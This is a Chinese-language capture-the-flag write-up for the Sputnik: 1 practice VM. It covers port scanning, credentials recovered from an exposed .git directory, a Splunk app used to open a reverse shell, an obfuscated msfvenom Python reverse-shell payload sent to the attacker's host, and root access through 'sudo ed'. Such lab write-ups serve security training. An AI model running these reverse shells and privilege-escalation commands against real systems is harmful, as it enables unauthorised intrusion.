Sputnik: 1

靶机地址

Nmap 扫出来有三个开放端口,三个 http 服务,其中一个是 api,一个存在 git 泄露,一个是登录界面

1
2
3
nmap -sn 192.168.234.1/24
nmap -sT --min-rate 1000 -p- 192.168.234.151 -oN ports
ports=$(grep open ports|awk -F'/' '{print $1}'|paste -sd ',');nmap -sT -sV -sC -O -p $ports 192.168.234.151 -oN detail

直接上 GitHacker,但是这个下边的 .git 文件夹的目录结构不完整,所以 clone 不下来,不过访问 http://192.168.234.151:55555/.git/logs/HEAD 发现是 clone 自 https://github.com/ameerpornillos/flappy.git 这个 Github 项目

然后在 commit 里找到一个 secret 文件并且在这个 Update commit 之后就 delete 了,这个应该是用户名密码,而 61337 端口正好是一个 splunk 登录界面

sputnik:ameer_says_thank_you_and_good_job

Splunk 的版本是 7.2.5,在 Github 找到一个 splunk_shells 可以在拿到 splunk 面板权限以后反弹 shell,在管理应用板块上传 splunk_shells-1.2.tar.gz,然后重启 splunk,更改 splunk_shells 权限

然后回到搜索板块,先在我们的 vps 上进行监听,然后再在搜索框反弹 shell

1
2
3
nc -lvnp 9099

|revshell std 192.168.234.129 9099

能够看到是一个普通用户 splunk 且不是一个可交互式 shell,所以还需要通过 msf 进一步利用,用 msf 生成了一个反弹 shell 的 payload,然后二次反弹之后,成功获取 TTY

1
2
3
4
5
6
msfvenom -p cmd/unix/reverse_python lhost=192.168.234.129 lport=9090 R

python -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNkMEKwjAMhl9l7NSCdGsVsUgPQyaIqOB2H65WNpzLWLr3l9qBPS6HhCRf/h/SfgYYbYSg38ZGLla/jFM9jKANYjAEjPauNoBWxVwKxrc7JtYbxoWM/c7JKZnK1LeovDTzhcxddqxO17wMDf2iuB3OVVHe8+xCZwWmoe+NtoQ43+DEWdGZAmTPaRAE2avtTA+EBmC6BOJLIDFDg/o/iOlH15E4qds+wSamX9P2WVQ=')[0])))" # 这个是在之前监听 9099 端口的 shell 中执行

nc -lnvp 9090
python -c 'import pty; pty.spawn("/bin/bash")'

执行 sudo -l 需要输入密码,尝试之前拿到的密码 ameer_says_thank_you_and_good_job 执行成功,然后发现有一个 root 权限的 ed 命令,那么就直接提权,然后在 /root 目录下找到 flag

1
2
3
4
5
6
sudo -l
ameer_says_thank_you_and_good_job
sudo ed
!/bin/bash
ls ~
cat ~/flag.txt

flag_is{w1th_gr34t_p0w3r_c0m35_w1th_gr34t_r3sp0ns1b1l1ty}